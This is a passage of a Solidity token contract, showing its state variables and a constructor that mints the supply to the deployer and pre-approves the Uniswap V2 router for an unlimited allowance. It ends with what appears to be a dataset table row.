uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,846 |
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